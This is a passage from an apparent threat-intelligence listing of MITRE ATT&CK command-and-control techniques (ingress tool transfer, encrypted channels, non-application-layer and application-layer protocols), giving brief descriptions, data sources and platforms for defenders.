Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre